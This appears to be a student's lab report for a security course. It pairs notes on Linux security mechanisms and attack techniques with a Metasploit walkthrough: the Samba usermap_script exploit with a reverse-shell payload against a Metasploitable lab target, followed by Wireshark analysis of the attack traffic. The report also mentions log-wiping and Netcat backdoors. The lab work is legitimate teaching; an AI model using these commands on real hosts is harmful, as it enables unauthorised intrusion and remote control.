1.实践内容
一、Linux操作系统基本框架
-
Linux优势:跨平台的硬件支持、丰富的软件支持、多用户多任务、可靠的安全性、良好的稳定性、完善的网络功能
-
Linux系统结构包括Linux内核,一些GNU运行库和工具,命令行Shell,图形界面X窗口系统及相应桌面环境。在硬件抽象层之上是内核服务功能模块,包括进程管理、内存管理、文件系统、设备控制与网络这五个子系统;而这些内核模块通过系统调用接口向用户态的GNU运行库及工具、命令行Shell、X窗口以及应用软件提供服务。
Linux进程与线程管理机制
- Linux采用抢占式多用户进程模式,多个进程并发活动,由内核的进程管理模块来负责调度硬件资源进行使用,进程作为最基本的调度单元,维护一个进程控制块结构,由内核schedule进程调度函数来依据进程优先级和CPU等资源情况来选择进程进行执行。
Linux的内存管理机制
- Linux的内存管理模块MM,允许多个进程安全地共享物理内存区域。Linux支持虚拟内存管理,在32位机器上,每个进程拥有独立的4GB虚拟内存空间,其中内核的代码与数据段被映射到3GB以上的空间,用户态代码申请的虚拟内存空间为0-3GB区间,每个进程使用两套段描述符分别访问内核态和用户态的内存空间。
Linux的文件系统管理机制
- 虚拟文件管理VFS机制,使得其能够支持数十种不同类型的逻辑文件系统,VFS为用户进程提供了一组通用的文件系统调用函数,可以对不同文件系统中的文件进行统一操作。
Linux的设备控制机制
- 处理或者管理硬件控制器的软件叫做设备驱动程序。Linux的一个基本特点是抽象了设备的处理,所有硬件设备都像常规文件一样看待。Linux支持三类硬件设备:字符设备、块设备和网络设备。
Linux的网络机制
- 网络模块提供了对各种网络标准的存取和各种网络硬件的支持。网络接口可分为网络协议栈和网络驱动程序。网络协议栈实现每一种可能的网络传输协议;网络设备驱动程序负责与硬件设备通信,每一种硬件设备都有相应的设备驱动程序。
Linux的系统调用机制
- Linux提供系统调用接口,允许应用程序透过接口访问硬件设备和其他系统资源,有助于保证Linux系统的稳定可靠和安全,并为用户空间提供了一种统一的抽象接口,有助于应用程序的跨平台移植。
二、Linux操作系统安全机制
Linux身份认证
-
Linux用户
root用户,系统中是唯一的超级用户,可以操作系统中任何文件与命令
普通用户,由使用者创建的登录系统并执行基本计算任务的用户,只能操作自己目录中的内容
系统用户,不具有登录系统的能力,但是是系统运行不可缺少的用户
用户信息保存在/etc/password文件中,加密口令存放在/etc/shadow/中,只对root可读。 -
Linux用户组
具有相同特征的用户账户集合,用于简化整个系统的用户权限管理,我们可以通过修改文件或目录的权限,让用户组具有一定的操作权限,这样用户组下的用户对该文件或目录都具有相同的权限。用户组的信息保存在系统的/etc/group/文件中,加密口令保存在/etc/gshadow/中。 -
Linux的本地登录用户认证机制
-
Linux的远程登录用户认证机制
目前Linux系统普遍使用SSH服务来进行远程用户登录与网络访问,SSH提供暗中方式的用户身份认证机制:
- 基于口令的身份认证
- 基于非对称秘钥的身份认证
Linux的统一身份认证中间件——PAM
作为一种验证用户身份的灵活与标准方法。PAM通过提供一些动态链接库和一套统一的API,将系统提供的服务和该服务的认证方式分开,使得系统管理员可以灵活地根据需要,给不同的服务配置不同的认证方式而无需更改服务程序,同时也便于向系统中添加新的认证手段。
- Linux授权与访问控制机制
文件的所有者
每个文件都拥有其所有者,表明了该文件属于哪个用户所有,以文件所有者的uid以及文件所有者所在组的gid来指明。可以用chown命令来修改。
文件的访问权限
文件的访问权限通过所附带的10个标志位来进行设置
- R read读
- W write写
- X execute执行
每个用户的专属初始目录权限为rwx------,即只有所有者拥有浏览、删除、修改和进入的权限。
文件的特殊执行权限
SUID和SGID被称为“特权”。
- SUID权限允许可执行文件在运行时刻从运行者的身份提升至文件所有者权限,可以任意存取文件所有者能使用的全部系统资源
- SGID在程序执行时以所有者的组的权限进行运行,该程序就可以任意存取整个用户组能够使用的系统资源
Linux访问控制机制的不足及改进
Linux安全审计机制
主要通过三个日志子系统来实现
连接时间日志 由多个程序执行,使系统管理员能够跟组谁在何时登录到系统
进程统计日志 当一个进程终止时,为每个进程往进程统计文件中写一个记录
错误日志记录 由通用日志记录服务执行
三、Linux系统远程攻防技术
从远程网络侵入Linux系统的主要方法有如下四种:
对Linux系统各种网络服务的身份认证过程所涉及的用户口令字进行猜测攻击,从而假冒该用户的身份进入系统
发掘Linux系统某个监听网络服务的安全漏洞并进行利用,在攻击目标服务进程中注入攻击负载模块代码进行执行
通过网页木马、发送诈欺邮件、提供特洛伊木马程序等技术和社会工程学手段,来攻击客户端程序和用户
在Linux系统作为连接多个网络的路由器,或者打开“混杂模式”实施网络嗅探的监听器时,可能遭受攻击者特意构造的数据包攻击
Linux远程口令字猜测攻击
针对SSH telent FTP HTTP等服务的口令猜测攻击是互联网所面临的攻陷系统最普遍的攻击模式。
支持攻击者进行自动化口令猜测的工具包括:
Brutus
THC Hydra
Caun and Abel
Linux网络服务远程渗透攻击
系统远程渗透最重要的攻击渠道————对监听网络服务安全漏洞的渗透利用。
Linux系统安全漏洞、渗透攻击与补丁更新过程
Linux的“集市”开发模式使得其安全漏洞生命周期有着显著的特征:
- 黑客们可以使用一些源代码的安全审计技术与辅助工具
- 黑客们发现Linux系统软件安全漏洞时,他们的报告途径也需分散汇报给相应的开发团队,可以加快安全漏洞的修复进程,但有些漏洞也会被用于渗透攻击,也是造成Linux系统最重要的安全威胁
- Linux支持apt-get 、yum等在线更新机制,但仍需管理员关注安全漏洞与软件更新情况进行手动升级,通过crond等服务来预制软件升级更新业务
针对Linux系统网络服务的远程渗透攻击
Linux内核中的网络协议栈的实现
Linux内核中的网络协议栈实现是每个网络服务所依赖的基础平台,因此一旦这些代码中存在具有远程代码执行危害后果的安全漏洞。
LAMP Web网站构建解决方案中的网络服务
LAMP是目前最流行的web网站构建解决方案,以Linux操作系统作为网站服务器运行平台,Apache提供基于HTTP/HTTPS的网页服务,MySQL数据库管理系统作为web应用程序的后台数据存储,而以PHP语言来开发与实现web应用程序。正是由于LAMP组合方案在web服务器中的主导地位,使得组合内服务扩展模块成为Linux系统主要的远程攻击渗透目标。
FTP Samba等文件共享服务
Linux系统支持多种不同的文件共享服务协议,例如FTP服务,与Windows的SMB协议相兼容从而支持Windows网络访问Samba服务,以及类UNIX系统中继承而来的NFS服务。这些服务在web网站服务器、企业内部文件服务器等存储有企业组织核心数据资产的关键Linux系统中往往比较常见,因此也成为黑客们破解这些关键系统必须尝试的攻击通道。
- FTP服务是互联网上非常古老的网络服务,用于文件交换和共享传输。
- Samba是用来让Linux等操作系统与微软Windows系统SMB/CIFS网络协议相连接的网络服务。
电子邮件收发服务
sendmail服务是类UNIX操作系统上最为流行的电子邮件收发服务。
其他网络服务
其他常用的网络服务有:
- openssh tcp22
- openssl tcp443
- nfs tcp/udp2049
- snmp tcp161/162
- sunrpc tcp111
- bind tcp/udp53
- x-windows tcp6000
Linux网络服务远程渗透攻击的安全防范措施
禁用所有不需要的网络服务
尽量选择更加安全的网络协议与服务软件,并使用最佳安全实践进行部署
及时更新网络服务版本
使用xinetd、防火墙为Linux网络服务添加网络访问控制机制
建立入侵检测与应急响应计划流程
攻击Linux客户端程序和用户
攻击Linux平台上的客户端程序
web浏览器
电子邮件客户端
攻击Linux用户
除了利用客户端程序中的安全漏洞实施渗透攻击外,还会对服务器管理员进行Google Hacking获取管理员的各方面信息
针对客户端与用户攻击的安全防范措施
Linux用户应尽量保证常用网络客户端软件的及时更新
了解各种社会工程学技术有助于用户提高自身的抗欺骗能力
攻击Linux路由器和监听器
攻击Linux路由器与防火墙
攻击监听器及入侵检测器
snort
wireshark
针对路由器与监听器攻击的安全防范措施
网络与安全设备自身的安全性与可用性非常重要,对于维护网络中的设备,应及时关注厂商的安全威胁报告,并对已发现的安全问题进行修补。
网络管理员在构建网络安全防御、检测与相应体系时,应站在攻击者角度,掌握攻击者的渗透入侵技术手段,尝试进行渗透攻击。
四、Linux系统本地安全攻防技术
Linux本地特权提升
攻击者得到本地受限用户访问特权后,最简单的特权提升途径就是破解出Root用户的口令,并执行su sudo命令进行提升
发掘并利用su或sudo程序中的安全漏洞
直接攻击具有root特权程序中任意代码执行漏洞,打开具有root特权的shell命令行
攻击用户态SUID特权提升漏洞
攻击Linux内核代码特权提升漏洞
从系统中搜索全局可写的敏感文件与目录位置并加以利用
下面分别介绍不同的攻击方式
Linux用户口令字破解
/etc/shadow文件中记录行是与/etc/passwd文件一一对应的,每一行记录着Linux系统中一个用户账户的登录凭证密文信息
其中最关键的字段是“口令”字段,以“$”作为分隔符,又分为使用算法编号、salt值和加密之后的口令哈希值。
破解Linux用户口令的前提条件是攻击者可以获得/etc/shadow文件,在攻击者只有受限用户账户时,无法直接读取/etc/shadow文件,但是可以通过利用一些特权运行本地服务进程中的任意文件读/写漏洞,来帮助他们获得口令密文文件的副本。
利用sudo的缺陷进行特权提升
利用用户态SUID程序漏洞进行特权提升
用户态带有SUID特殊权限位的软件是本地特权提升攻击的最主要目标对象之一。
一旦设置了SUID位之后,再执行这个程序,运行进程的有效UID就变成了该程序的所有者用户ID。
针对SUID程序的本地缓冲区溢出攻击
针对SUID程序的符号链接攻击
针对SUID程序的竞争条件攻击
竞争条件漏洞是由于一些程序软件并没有遵循操作的原则特性而存在,在进程操作某个信号量时,可能由于其他进程同时对其操作而造成不可预期的后果
针对SUID程序的共享函数库攻击
共享函数库是类似于Windows系统动态链接库DLL的一种函数库动态加载机制,允许可执行文件在执行阶段从某个公共的函数库中调用一些功能代码片段
利用内核空间代码漏洞进行特权提升
利用系统配置不当实施本地特权提升
针对Linux本地特权提升攻击的防范技术与措施
Linux系统上的消踪灭迹
Linux系统的主要审计日志集中的/var/log目录下,主要有系统核心进程、syslogd与各个网络服务提供事件审计功能。攻击者在攻陷Linux系统后,通常不希望给系统管理员留下自己的入侵记录,因而往往会去清理系统上的日志目录,从而有效地抹除掉自己的行动踪迹。
攻击者还需要清理的是自己在shell程序中所输入的命令历史记录,Linux系统中的很多shell程序都记录运行过的历史命令,以提供检索和重复执行命令的功能。
Linux系统远程控制后门程序
Linux系统上植入远程控制后门程序的类型主要有:
特洛伊木马化系统程序
命令行后门工具以及图形化后门工具
最常见的Linux系统后门是提供远程命令行shell的访问,通常是使用Netcat等后门工具在系统上运行,开放监听一个TCP端口,在接收到请求之后返回一个Linux系统shell与客户端进行交互。
Linux上图形化后门程序,最为常用的是图形化远程控制免费软件VNC。
2.实践过程
kali(192.168.92.2) Linux靶机(192.168.92.5)
在kali打开metasploit,输入msfconsole,然后先搜索一下usermap_script漏洞,搜索结果如下图。这是针对这个漏洞的渗透攻击模块
输入searchusermap_script
使用exploit/multi/samba/usermap_script攻击模板,输入use exploit/multi/samba/usermap_script
show payloads(查看攻击负荷payloads,用来创建后门)
set payload cmd/unix/reverse(设置payload为cmd/unix/reverse类型的)
show options(查看目前的配置参数)
set RHOST 192.168.92.5(设置攻击目标的ip地址) ,
set LHOST 192.168.92.2(设置本机的ip地址)
并运行run开始攻击,攻击结果如图下图所示
接下来运行 shell 指令,开启靶机的 shell
通过命令whoami查看当前权限账户
攻防对抗实验
1)攻击方使用Metasploit渗透软件针对Linux Metasploitable靶机试试网络攻击,防御方在Metasploitable上使用wireshark捕获攻击流
2)攻击方:使用Metasploit选择Metasploitable靶机中发现的漏洞进行渗透攻击,获得远程控制权,并尝试进一步获得Root权限。
3)防守方:使用wireshark监听获得网络攻击的数据包文件,并结合wireshark分析攻击过程,获得攻击者的IP地址,目标IP端口、攻击发起时间、攻击利用漏洞、使用shellcode,以及成功之后在本地执行命令输入等信息
攻击方的行为就是上一个实验中的行为,在此过程中,应该防守方使用Wireshark捕包并进行分析,但没有,在攻击方使用也是同样的效果。
攻击过程如上,不再赘述。
攻击者IP:192.168.92.2
目标IP:192.168.92.5
目标端口:139
通过捕获的数据包可以看到攻击机攻击的目标主机端口为139号端口,查询可知139号端口是Unix中的Samba服务端口,可知攻击利用了Samba服务漏洞
攻击时间
接着在此追踪TCP数据流,可以看到所使用shellcode
命令的内涵:后台运行进程并将标准输出和标准错误流重定向到linux的空设备。nohup就是no hangup,不要挂断,忽略hup信号。标准输出内容会输出到当前目录的nohup.out日志文件中而不终端显示。sh -c...让 bash 将一个字串作为完整的命令来执行。&>中间没有空格。linux中的文件号,1是标准输出流,2是错误输出流,此处&>的意思是合并 标准输出和错误输出并重定向。/dev/null是linux的一个空设备,放入这里的数据立即清除,所以只能写,读不出来什么。最后面&就是后台运行的意思 。
追踪取得控制权之后的数据包TCP流,可以看到攻击机在本地执行的命令
3.学习中遇到的问题及解决
-
问题1:本次实验不知如何对抓包分析
-
问题1解决方案:通过查阅资料并询问同学
-
问题2:有时候由于粗心,把命令行中的字母打错,导致要花很久查询资料,再仔细看看命令行,原来自己打错了。
-
问题2解决方案:真的不能原谅,下次一定要细心细心再细心
4.实践总结
本次实验与上一单元相似,无论windows还是Linux都是很相似的思想,关键在于是否熟悉思想,熟悉流程。通过半学期的学习,慢慢对攻防有更多的理解,加油吧,一学期过一半了。